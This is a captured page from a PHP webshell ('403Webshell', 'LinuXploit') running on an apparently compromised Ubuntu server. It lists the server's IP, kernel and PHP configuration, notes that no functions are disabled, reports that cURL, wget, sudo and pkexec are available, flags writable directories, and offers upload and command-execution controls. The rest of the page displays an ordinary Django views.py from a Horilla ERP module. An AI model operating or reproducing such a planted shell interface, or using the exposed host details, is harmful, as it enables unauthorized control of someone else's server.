403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/dynamic_fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/dynamic_fields//views.py
"""
dynamic_fields/views.py
"""

from django.http import HttpResponse
from django.utils.decorators import method_decorator
from django.utils.translation import gettext_lazy as _
from django.contrib import messages
from django.views.generic import View
from horilla_views.generic.cbv.views import HorillaFormView
from dynamic_fields import models, forms
from dynamic_fields.methods import structured
from horilla.decorators import login_required, permission_required


@method_decorator(login_required, name="dispatch")
@method_decorator(
    permission_required("dynamic_fields.change_mailautomation"), name="dispatch"
)
class ChoiceFormView(HorillaFormView):
    """
    ChoiceFormView
    """

    model = models.DynamicField
    form_class = forms.ChoiceForm
    is_dynamic_create_view = True


@method_decorator(login_required, name="dispatch")
@method_decorator(
    permission_required("dynamic_fields.change_mailautomation"), name="dispatch"
)
class DynamicFieldFormView(HorillaFormView):
    """
    DynamicFieldFormView
    """

    model = models.DynamicField
    form_class = forms.DynamicFieldForm
    template_name = "dynamic_fields/form.html"
    # dynamic_create_fields = [
    #     ("choices", ChoiceFormView),
    # ]

    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        setattr(self.form_class, "structured", structured)

    def form_valid(self, form: forms.DynamicFieldForm) -> HttpResponse:
        model_path = self.request.GET["df_model_path"]
        if form.is_valid():
            if not form.instance.pk:
                form.instance.model = model_path
            message = _("New field added")
            form.save()

            messages.success(self.request, message)
            return self.HttpResponse("<script>window.location.reload()</script>")
        return super().form_valid(form)


@method_decorator(login_required, name="dispatch")
@method_decorator(
    permission_required("dynamic_fields.change_mailautomation"), name="dispatch"
)
class RemoveDf(View):
    """
    RemoveDf view
    """

    def post(self, *args, **kwargs):
        """
        Post method
        """
        pk = self.request.POST["pk"]
        df = models.DynamicField.objects.get(pk=pk)
        df.remove_column = True
        df.save()
        return HttpResponse({"type": "success"})

Youez - 2016 - github.com/yon3zu
LinuXploit